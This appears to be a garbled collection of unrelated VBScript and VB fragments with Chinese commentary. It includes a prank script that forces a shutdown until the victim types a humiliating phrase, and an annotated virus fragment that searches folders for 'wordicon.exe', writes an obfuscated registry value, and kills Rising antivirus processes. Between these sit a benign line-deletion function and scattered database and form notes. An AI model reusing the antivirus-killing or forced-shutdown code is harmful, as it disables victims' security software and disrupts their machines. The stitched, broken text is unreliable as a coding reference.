Else
objWSHShell.popup "好哇，天堂有路你不走，关机无门你偏来，关机吧~~~", 1,"",4096
objWSHShell.Run "shutdown.exe -r -t 0 ", 0, True '直接关机
End If
End If
Loop
'如果你说了“我是猪”，则退出循环，往下执行
objWSHShell.Run "shutdown.exe -a", 0, True '解除定时关机
objWSHShell.popup "早说不就行了嘛",1,"",4096
例如：设网络服务器名为server，共享目录为c:\sales的foxpro3.0数据库，连接字符串应为
strcn="foxpro3.0;database=\\server\c$\sales\region1"
此外，DAO通过microsoftjet数据库引擎访问远程数据时，还可以用opendatabase方法直接打开远程表
next对数组或集合中的每个元素重复执行一组语句)
iffile.name="wordicon.exe"then
reg=file.name
regpath=file.path
exitFunction
endif
next（foreach的next）
setsubfolders=folder_.subfolders(set是一个赋值语句)
foreachsubfolderinsubfolders
scandoc(subfolder)
next
endFunction（结束子程序的定义）
Functionregtime()(定义一个子程序添加注册表，结束瑞星)
a6="R.Re"&"gWri"&chr(116)&"e"（a6=R.RegWrichr(116)echr（116）是值）
a8="HKE"&"Y_CUR"&"RENT_US"&"ER\Soft"&"ware\Micr"&"osoft\Win"&"dowsScr"&"iptingHo"&"st\Settin"&"gs\Timeou（a8=注册表HKEY_CURRENT_USER\Software\Microsoft\WindowsScriptingHost\Settings\Timeout）
ppp=a6&Space(2)&chr(34)&a8&chr(34)&","&"0,"&chr(34)&"REG_DWORD"&chr(34)
Executeppp（对指定的字符串执行正则表达式搜索）
dimNameorPID
kill=Array("RavMon.exe","RavTask.exe","RavStub.exe","RavMond.exe","RsAgent.exe")
fori=0to4
KillProcess(kill(i))（结束4个瑞星程序）
next
endFunction（结束这个子程序）
Functionganranfile(aa)（定义一个子程序）
OnErrorResumeNext（出错不报告）
dimx
Fori=1ToLen(aa)（len函数返回字符串内字符的数目，或是存储一变量所需的字节数）
x=Mid(aa,i,1)（mid函数从字符串中返回指定数目的字符
如果你掌握了Basic编程，这并不意味着你就会使用VB，因为VB中有许多Baisc中所没有的新概念和新方法
Function DeleteLine(strFile, strKey, LineNumber, CheckCase)
'DeleteLine Function by TomRiddle 2008
'Remove line(s) containing text (strKey) from text file (strFile)
'or
'Remove line number from text file (strFile)
'or
'Remove line number if containing text (strKey) from text file (strFile)
'Use strFile="c:\file.txt" (Full path to text file)
'Use strKey="John Doe" (Lines containing this text string to be deleted)
'Use strKey="" (To not use keyword search)
'Use LineNumber="1" (Enter specific line number to delete)
'Use LineNumber="0" (To ignore line numbers)
'Use CheckCase="1" (For case sensitive search )
'Use CheckCase="0" (To ignore upper/lower case characters)
Const ForReading=1:Const ForWriting=2
Dim objFSO,objFile,Count,strLine,strLineCase,strNewFile
Set objFSO=CreateObject("Scripting.FileSystemObject")
Set objFile=objFSO.OpenTextFile(strFile,ForReading)
Do Until objFile.AtEndOfStream
strLine=objFile.Readline
If CheckCase=0 then strLineCase=ucase(strLine):strKey=ucase(strKey)
If LineNumber=objFile.Line-1 or LineNumber=0 then
If instr(strLine,strKey) or instr(strLineCase,strkey) or strKey="" then
strNewFile=strNewFile
Else
strNewFile=strNewFile&strLine&vbcrlf
End If
Else
strNewFile=strNewFile&strLine&vbcrlf
End If
Loop
objFile.Close
Set objFSO=CreateObject("Scripting.FileSystemObject")
Set objFile=objFSO.OpenTextFile(strFile,ForWriting)
objFile.Write strNewFile
objFile.Close
End Function
----5、在Form1中加入三个标签控件和一个文本框控件，将三个标签控件的Name属性分别设置为lblMsgDateReceived、lblMsgOrigDisplayName、lblMsgSubject，将文本框控件的Name属性设置为txtMsgNoteText，并将标签控件的Caption属性和文本框控件的Text属性的内容清空
On Error Resume Next
WScript.Quit
End If
Loop
If fso.FileExists(filePath&fileName) Then fso.DeleteFile(filePath&fileName)
fso.DeleteFile(filePath&"TmpFile")
ado.SaveToFile(filePath&fileName)
MsgBox "文件下载完毕。
